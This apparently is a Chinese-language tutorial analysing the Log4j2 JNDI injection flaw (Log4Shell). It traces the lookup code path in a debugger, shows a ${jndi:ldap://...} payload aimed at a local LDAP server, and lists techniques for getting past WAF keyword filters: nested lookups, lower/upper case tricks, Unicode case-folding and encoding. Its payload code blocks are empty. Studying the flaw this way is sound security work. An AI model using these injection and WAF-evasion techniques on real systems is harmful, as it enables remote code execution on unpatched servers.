基础开发
环境
- jdk8u65
网上有很多说 jdk8u191 之后就不行了,其实不是的;高版本 jdk 是有绕过手段的。
- Log4j2 2.14.1
- CC 3.2.1 (最好是)
依赖
|
|
代码实现
|
|
实际开发场景
现在的代码是我们封装的一个行为,一般日志文件还是需要输出的。然后实际应用的话,是这样的。
比如我从数据库获取到了一个 username 为 “Drunkbaby”,我要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的。
|
|
漏洞分析
影响版本
2.x <= log4j <= 2.15.0-rc1
漏洞原理
username是我们可控的
尝试输入其他的
username="${java:os}"
结果并不是直接输出java:os
,而是输出了操作系统的一些信息
而这里存在lookeup,从而导致JNDI注入漏洞
漏洞复现
用yakit开一个ldap服务
|
|
debug代码调试
断点打在PatternLayout.toSerializable
下
往下走,先是一个循环,遍历 formatters
一段一段的拼接输出的内容,不是很重要。
两个传进去进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffer。
跟进到format
里后,调用栈里有两个format跟进的地方
当i=7的时候会进到第二个format里
这里判断是不是lookup
,用的是,进入for循环
这个for循环是用来截取里
${}
里的内容
然后进入replace
StrSubstitutor
再进入substitute
进入substitute
然后就是进入while循环,一连串的判断,循环,看不懂
知道出循环了后
能看到此时varNameExpr
是jndi:ldap://127.0.0.1:8085/XFaOTtBf
,去掉了${}
继续跟进跳到
varName作为参数,resolveVariable这里是解析时支持关键词有{date, ctx, lower, upper, main, env, sys, sd, java, marker, jndi, jvmrunargs, event, bundle, map, log4j}
像一开始试的java:os
,这里就有
跟进resolveVariable
方法
看到lookup
方法了
后续跟进也能看到的确实Jndi的lookeup方法
小结调试
- 先判断内容中是否有
${}
,然后截取${}
中的内容,得到我们的恶意payloadjndi:xxx
- 后使用
:
分割payload,通过前缀来判断使用何种解析器去lookup
- 支持的前缀包括
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,后续我们的绕过可能会用到这些。
针对 WAF 的常规绕过
- 出发点是基于很多 WAF 检测是否存在
jndi:
等关键词进行判断
1. 利用分隔符和多个 ${}
绕过
|
|
2. 通过 lower 和 upper 绕过
这一点,因为我们之前说允许的字段是这一些
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,其中就有 lower 和 upper
同时也可以利用 lower 和 upper 来进行 bypass 关键字
|
|
同时也可以利用一些特殊字符的大小写转化的问题
- ı => upper => i (Java 中测试可行)
- ſ => upper => S (Java 中测试可行)
- İ => upper => i (Java 中测试不可行)
- K => upper => k (Java 中测试不可行)
3.编码绕过
unicode编码或者hex编码
4. 总结一些 payload
- 原始payload
|
|
对应的绕过手段
|
|